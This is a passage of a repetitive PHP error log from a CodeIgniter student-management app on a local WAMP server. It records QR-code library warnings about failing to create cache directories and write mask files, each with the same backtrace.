			Line: 485&lt;br /&gt;
			Function: encode			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 286&lt;br /&gt;
			Function: encodePNG			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\Ciqrcode.php&lt;br /&gt;
			Line: 101&lt;br /&gt;
			Function: png			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\controllers\Student.php&lt;br /&gt;
			Line: 714&lt;br /&gt;
			Function: generate			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\index.php&lt;br /&gt;
			Line: 315&lt;br /&gt;
			Function: require_once			&lt;/p&gt;

		
&lt;/div&gt;
&lt;div style=&quot;border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;&quot;&gt;

&lt;h4&gt;A PHP Error was encountered&lt;/h4&gt;

&lt;p&gt;Severity: Warning&lt;/p&gt;
&lt;p&gt;Message:  file_put_contents(C:\wamp64\www\multi_pro\uploads/qrcode_cache/mask_6\mask_21_6.dat): failed to open stream: No such file or directory&lt;/p&gt;
&lt;p&gt;Filename: qrcode/qrmask.php&lt;/p&gt;
&lt;p&gt;Line Number: 155&lt;/p&gt;


	&lt;p&gt;Backtrace:&lt;/p&gt;
	
		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 155&lt;br /&gt;
			Function: file_put_contents			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 311&lt;br /&gt;
			Function: makeMaskNo			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 216&lt;br /&gt;
			Function: mask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 240&lt;br /&gt;
			Function: encodeMask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 279&lt;br /&gt;
			Function: encodeInput			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 467&lt;br /&gt;
			Function: encodeString			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 485&lt;br /&gt;
			Function: encode			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 286&lt;br /&gt;
			Function: encodePNG			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\Ciqrcode.php&lt;br /&gt;
			Line: 101&lt;br /&gt;
			Function: png			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\controllers\Student.php&lt;br /&gt;
			Line: 714&lt;br /&gt;
			Function: generate			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\index.php&lt;br /&gt;
			Line: 315&lt;br /&gt;
			Function: require_once			&lt;/p&gt;

		
&lt;/div&gt;
&lt;div style=&quot;border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;&quot;&gt;

&lt;h4&gt;A PHP Error was encountered&lt;/h4&gt;

&lt;p&gt;Severity: Warning&lt;/p&gt;
&lt;p&gt;Message:  mkdir(): No such file or directory&lt;/p&gt;
&lt;p&gt;Filename: qrcode/qrmask.php&lt;/p&gt;
&lt;p&gt;Line Number: 154&lt;/p&gt;


	&lt;p&gt;Backtrace:&lt;/p&gt;
	
		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 154&lt;br /&gt;
			Function: mkdir			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 311&lt;br /&gt;
			Function: makeMaskNo			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 216&lt;br /&gt;
			Function: mask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 240&lt;br /&gt;
			Function: encodeMask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 279&lt;br /&gt;
			Function: encodeInput			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 467&lt;br /&gt;
			Function: encodeString			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 485&lt;br /&gt;
			Function: encode			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 286&lt;br /&gt;
			Function: encodePNG			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\Ciqrcode.php&lt;br /&gt;
			Line: 101&lt;br /&gt;
			Function: png			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\controllers\Student.php&lt;br /&gt;
			Line: 714&lt;br /&gt;
			Function: generate			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\index.php&lt;br /&gt;
			Line: 315&lt;br /&gt;
			Function: require_once			&lt;/p&gt;

		
&lt;/div&gt;
&lt;div style=&quot;border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;&quot;&gt;

&lt;h4&gt;A PHP Error was encountered&lt;/h4&gt;

&lt;p&gt;Severity: Warning&lt;/p&gt;
&lt;p&gt;Message:  file_put_contents(C:\wamp64\www\multi_pro\uploads/qrcode_cache/mask_7\mask_21_7.dat): failed to open stream: No such file or directory&lt;/p&gt;
&lt;p&gt;Filename: qrcode/qrmask.php&lt;/p&gt;
&lt;p&gt;Line Number: 155&lt;/p&gt;


	&lt;p&gt;Backtrace:&lt;/p&gt;
	
		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 155&lt;br /&gt;
			Function: file_put_contents			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 311&lt;br /&gt;
			Function: makeMaskNo			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 216&lt;br /&gt;
			Function: mask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 240&lt;br /&gt;
			Function: encodeMask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 279&lt;br /&gt;
			Function: encodeInput			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 467&lt;br /&gt;
			Function: encodeString			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 485&lt;br /&gt;
			Function: encode			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 286&lt;br /&gt;
			Function: encodePNG			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\Ciqrcode.php&lt;br /&gt;
			Line: 101&lt;br /&gt;
			Function: png			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\controllers\Student.php&lt;br /&gt;
			Line: 714&lt;br /&gt;
			Function: generate			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\index.php&lt;br /&gt;
			Line: 315&lt;br /&gt;
			Function: require_once			&lt;/p&gt;

		
&lt;/div&gt;2020-05-15 00:56:24: 
&lt;div style=&quot;border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;&quot;&gt;

&lt;h4&gt;A PHP Error was encountered&lt;/h4&gt;

&lt;p&gt;Severity: Warning&lt;/p&gt;
&lt;p&gt;Message:  file_put_contents(C:\wamp64\www\multi_pro\uploads/qrcode_cache/frame_1.dat): failed to open stream: No such file or directory&lt;/p&gt;
&lt;p&gt;Filename: qrcode/qrspec.php&lt;/p&gt;
&lt;p&gt;Line Number: 568&lt;/p&gt;


	&lt;p&gt;Backtrace:&lt;/p&gt;
	
		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrspec.php&lt;br /&gt;
			Line: 568&lt;br /&gt;
			Function: file_put_contents			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 178&lt;br /&gt;
			Function: newFrame			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 240&lt;br /&gt;
			Function: encodeMask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 279&lt;br /&gt;
			Function: encodeInput			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 467&lt;br /&gt;
			Function: encodeString			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 485&lt;br /&gt;
			Function: encode			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 286&lt;br /&gt;
			Function: encodePNG			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\Ciqrcode.php&lt;br /&gt;
			Line: 101&lt;br /&gt;
			Function: png			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\controllers\Student.php&lt;br /&gt;
			Line: 714&lt;br /&gt;
			Function: generate			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\index.php&lt;br /&gt;
			Line: 315&lt;br /&gt;
			Function: require_once			&lt;/p&gt;

		
&lt;/div&gt;
&lt;div style=&quot;border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;&quot;&gt;

&lt;h4&gt;A PHP Error was encountered&lt;/h4&gt;

&lt;p&gt;Severity: Warning&lt;/p&gt;
&lt;p&gt;Message:  mkdir(): No such file or directory&lt;/p&gt;
&lt;p&gt;Filename: qrcode/qrmask.php&lt;/p&gt;
&lt;p&gt;Line Number: 154&lt;/p&gt;


	&lt;p&gt;Backtrace:&lt;/p&gt;
	
		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 154&lt;br /&gt;
			Function: mkdir			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 311&lt;br /&gt;
			Function: makeMaskNo			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 216&lt;br /&gt;
			Function: mask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 240&lt;br /&gt;
			Function: encodeMask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 279&lt;br /&gt;
			Function: encodeInput			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 467&lt;br /&gt;
			Function: encodeString			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 485&lt;br /&gt;
			Function: encode			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 286&lt;br /&gt;
			Function: encodePNG			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\Ciqrcode.php&lt;br /&gt;
			Line: 101&lt;br /&gt;
			Function: png			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\controllers\Student.php&lt;br /&gt;
			Line: 714&lt;br /&gt;
			Function: generate			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\index.php&lt;br /&gt;
			Line: 315&lt;br /&gt;
			Function: require_once			&lt;/p&gt;

		
&lt;/div&gt;
&lt;div style=&quot;border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;&quot;&gt;

&lt;h4&gt;A PHP Error was encountered&lt;/h4&gt;

&lt;p&gt;Severity: Warning&lt;/p&gt;
&lt;p&gt;Message:  file_put_contents(C:\wamp64\www\multi_pro\uploads/qrcode_cache/mask_0\mask_21_0.dat): failed to open stream: No such file or directory&lt;/p&gt;
&lt;p&gt;Filename: qrcode/qrmask.php&lt;/p&gt;
&lt;p&gt;Line Number: 155&lt;/p&gt;


	&lt;p&gt;Backtrace:&lt;/p&gt;
	
		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 155&lt;br /&gt;
			Function: file_put_contents			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 311&lt;br /&gt;
			Function: makeMaskNo			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 216&lt;br /&gt;
			Function: mask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 240&lt;br /&gt;
			Function: encodeMask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 279&lt;br /&gt;
			Function: encodeInput			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 467&lt;br /&gt;
			Function: encodeString			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 485&lt;br /&gt;
			Function: encode			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 286&lt;br /&gt;
			Function: encodePNG			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\Ciqrcode.php&lt;br /&gt;
			Line: 101&lt;br /&gt;
			Function: png			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\controllers\Student.php&lt;br /&gt;
			Line: 714&lt;br /&gt;
			Function: generate			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\index.php&lt;br /&gt;
			Line: 315&lt;br /&gt;
			Function: require_once			&lt;/p&gt;

		
&lt;/div&gt;
&lt;div style=&quot;border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;&quot;&gt;

&lt;h4&gt;A PHP Error was encountered&lt;/h4&gt;

&lt;p&gt;Severity: Warning&lt;/p&gt;
&lt;p&gt;Message:  mkdir(): No such file or directory&lt;/p&gt;
&lt;p&gt;Filename: qrcode/qrmask.php&lt;/p&gt;
&lt;p&gt;Line Number: 154&lt;/p&gt;


	&lt;p&gt;Backtrace:&lt;/p&gt;
	
		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 154&lt;br /&gt;
			Function: mkdir			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 311&lt;br /&gt;
			Function: makeMaskNo			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 216&lt;br /&gt;
			Function: mask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 240&lt;br /&gt;
			Function: encodeMask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 279&lt;br /&gt;
			Function: encodeInput			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 467&lt;br /&gt;
			Function: encodeString			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 485&lt;br /&gt;
			Function: encode			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 286&lt;br /&gt;
			Function: encodePNG			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\Ciqrcode.php&lt;br /&gt;
			Line: 101&lt;br /&gt;
			Function: png			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\controllers\Student.php&lt;br /&gt;
			Line: 714&lt;br /&gt;
			Function: generate			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\index.php&lt;br /&gt;
			Line: 315&lt;br /&gt;
			Function: require_once			&lt;/p&gt;

		
&lt;/div&gt;
&lt;div style=&quot;border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;&quot;&gt;

&lt;h4&gt;A PHP Error was encountered&lt;/h4&gt;

&lt;p&gt;Severity: Warning&lt;/p&gt;
&lt;p&gt;Message:  file_put_contents(C:\wamp64\www\multi_pro\uploads/qrcode_cache/mask_1\mask_21_1.dat): failed to open stream: No such file or directory&lt;/p&gt;
&lt;p&gt;Filename: qrcode/qrmask.php&lt;/p&gt;
&lt;p&gt;Line Number: 155&lt;/p&gt;


	&lt;p&gt;Backtrace:&lt;/p&gt;
	
		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 155&lt;br /&gt;
			Function: file_put_contents			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 311&lt;br /&gt;
			Function: makeMaskNo			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 216&lt;br /&gt;
			Function: mask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 240&lt;br /&gt;
			Function: encodeMask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 279&lt;br /&gt;
			Function: encodeInput			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 467&lt;br /&gt;
			Function: encodeString			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 485&lt;br /&gt;
			Function: encode			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 286&lt;br /&gt;
			Function: encodePNG			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\Ciqrcode.php&lt;br /&gt;
			Line: 101&lt;br /&gt;
			Function: png			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\controllers\Student.php&lt;br /&gt;
			Line: 714&lt;br /&gt;
			Function: generate			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\index.php&lt;br /&gt;
			Line: 315&lt;br /&gt;
			Function: require_once			&lt;/p&gt;

		
&lt;/div&gt;
&lt;div style=&quot;border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;&quot;&gt;

&lt;h4&gt;A PHP Error was encountered&lt;/h4&gt;

&lt;p&gt;Severity: Warning&lt;/p&gt;
&lt;p&gt;Message:  mkdir(): No such file or directory&lt;/p&gt;
&lt;p&gt;Filename: qrcode/qrmask.php&lt;/p&gt;
&lt;p&gt;Line Number: 154&lt;/p&gt;


	&lt;p&gt;Backtrace:&lt;/p&gt;
	
		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 154&lt;br /&gt;
			Function: mkdir			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 311&lt;br /&gt;
			Function: makeMaskNo			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 216&lt;br /&gt;
			Function: mask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 240&lt;br /&gt;
			Function: encodeMask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 279&lt;br /&gt;
			Function: encodeInput			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 467&lt;br /&gt;
			Function: encodeString			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 485&lt;br /&gt;
			Function: encode			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 286&lt;br /&gt;
			Function: encodePNG			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\Ciqrcode.php&lt;br /&gt;
			Line: 101&lt;br /&gt;
			Function: png			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\controllers\Student.php&lt;br /&gt;
			Line: 714&lt;br /&gt;
			Function: generate			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\index.php&lt;br /&gt;
			Line: 315&lt;br /&gt;
			Function: require_once			&lt;/p&gt;

		
&lt;/div&gt;
&lt;div style=&quot;border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;&quot;&gt;

&lt;h4&gt;A PHP Error was encountered&lt;/h4&gt;

&lt;p&gt;Severity: Warning&lt;/p&gt;
&lt;p&gt;Message:  file_put_contents(C:\wamp64\www\multi_pro\uploads/qrcode_cache/mask_2\mask_21_2.dat): failed to open stream: No such file or directory&lt;/p&gt;
&lt;p&gt;Filename: qrcode/qrmask.php&lt;/p&gt;
&lt;p&gt;Line Number: 155&lt;/p&gt;


	&lt;p&gt;Backtrace:&lt;/p&gt;
	
		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 155&lt;br /&gt;
			Function: file_put_contents			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 311&lt;br /&gt;
			Function: makeMaskNo			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 216&lt;br /&gt;
			Function: mask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 240&lt;br /&gt;
			Function: encodeMask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 279&lt;br /&gt;
			Function: encodeInput			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 467&lt;br /&gt;
			Function: encodeString			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 485&lt;br /&gt;
